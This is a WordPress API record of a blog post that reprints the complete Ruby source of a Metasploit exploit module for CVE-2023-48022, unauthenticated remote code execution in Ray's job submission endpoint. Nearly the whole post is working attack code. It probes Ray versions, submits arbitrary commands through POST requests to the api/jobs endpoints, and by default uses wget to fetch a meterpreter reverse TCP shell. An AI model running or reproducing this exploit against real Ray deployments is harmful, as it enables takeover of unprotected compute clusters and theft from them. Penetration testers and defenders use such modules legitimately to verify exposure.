{"id":59126,"date":"2024-08-23T18:50:02","date_gmt":"2024-08-23T15:50:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180358\/ray_agent_job_rce.rb.txt"},"modified":"2024-08-23T18:50:02","modified_gmt":"2024-08-23T15:50:02","slug":"ray-agent-job-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ray-agent-job-remote-code-execution\/","title":{"rendered":"Ray Agent Job Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::CmdStager<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Ray Agent Job RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>RCE in Ray via the agent job submission endpoint.<br \/>This is intended functionality as Ray&#8217;s main purpose is executing arbitrary workloads.<br \/>By default Ray has no authentication.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;sierrabearchell&#8217;, # Vulnerability discovery<br \/>&#8216;byt3bl33d3r &lt;marcello@protectai.com&gt;&#8217;, # Python Metasploit module<br \/>&#8216;Takahiro Yokoyama&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2023-48022&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/huntr.com\/bounties\/b507a6a0-c61a-4508-9101-fceb572b0385\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/huntr.com\/bounties\/787a07c0-5535-469f-8c53-3efa4e5717c7\/&#8217;]],<br \/>&#8216;CmdStagerFlavor&#8217; =&gt; %i[wget],<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;DisableNops&#8217; =&gt; true<br \/>},<br \/>&#8216;Platform&#8217; =&gt; %w[linux],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Linux x64&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_X64, &#8216;Platform&#8217; =&gt; &#8216;linux&#8217; } ],<br \/>[ &#8216;Linux x86&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_X86, &#8216;Platform&#8217; =&gt; &#8216;linux&#8217; } ],<br \/>[ &#8216;Linux aarch64&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_AARCH64, &#8216;Platform&#8217; =&gt; &#8216;linux&#8217; } ],<br \/>[<br \/>&#8216;Linux Command&#8217;, {<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ], &#8216;Platform&#8217; =&gt; [ &#8216;unix&#8217;, &#8216;linux&#8217; ], &#8216;Type&#8217; =&gt; :nix_cmd,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/linux\/http\/x64\/meterpreter_reverse_tcp&#8217;,<br \/>&#8216;FETCH_COMMAND&#8217; =&gt; &#8216;WGET&#8217;,<br \/>&#8216;MeterpreterTryToFork&#8217; =&gt; true<br \/>}<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-11-15&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8265),<br \/>])<br \/>end<\/p>\n<p>def get_job_data(cmd)<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api\/jobs\/&#8217;),<br \/>&#8216;data&#8217; =&gt; { &#8216;entrypoint&#8217; =&gt; cmd }.to_json<br \/>})<br \/>unless res &amp;&amp; res.code == 200<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api\/job_agent\/jobs\/&#8217;),<br \/>&#8216;data&#8217; =&gt; { &#8216;entrypoint&#8217; =&gt; cmd }.to_json<br \/>})<br \/>end<br \/>return unless res &amp;&amp; res.code == 200<\/p>\n<p>JSON.parse(res.body)<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api\/version&#8217;)<br \/>})<br \/>return Exploit::CheckCode::Unknown unless res &amp;&amp; res.code == 200<\/p>\n<p>ray_version = res.get_json_document[&#8216;ray_version&#8217;]\n<p>return Exploit::CheckCode::Unknown unless ray_version<\/p>\n<p>return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) &lt;= Rex::Version.new(&#8216;2.6.3&#8217;)<\/p>\n<p>@job_data = get_job_data(&#8216;ls&#8217;)<br \/>return Exploit::CheckCode::Vulnerable unless @job_data.nil?<\/p>\n<p>Exploit::CheckCode::Appears<br \/>end<\/p>\n<p>def exploit<br \/>@job_data ||= get_job_data(&#8216;ls&#8217;)<br \/>if @job_data<br \/>print_good(&#8220;Command execution successful. Job ID: &#8216;#{@job_data[&#8216;job_id&#8217;]}&#8217; Submission ID: &#8216;#{@job_data[&#8216;submission_id&#8217;]}'&#8221;)<br \/>end<br \/>case target[&#8216;Type&#8217;]when :nix_cmd<br \/>execute_command(payload.encoded)<br \/>else<br \/>execute_cmdstager({ flavor: :wget })<br \/>end<br \/>end<\/p>\n<p>def execute_command(cmd, _opts = {})<br \/>get_job_data(cmd)<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStagerprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Ray Agent Job RCE&#8217;,&#8216;Description&#8217; =&gt; %q{RCE in Ray via the agent job submission endpoint.This is intended functionality as Ray&#8217;s main purpose is executing arbitrary workloads.By default Ray has no authentication.},&#8216;Author&#8217; =&gt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59126","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59126"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59126\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}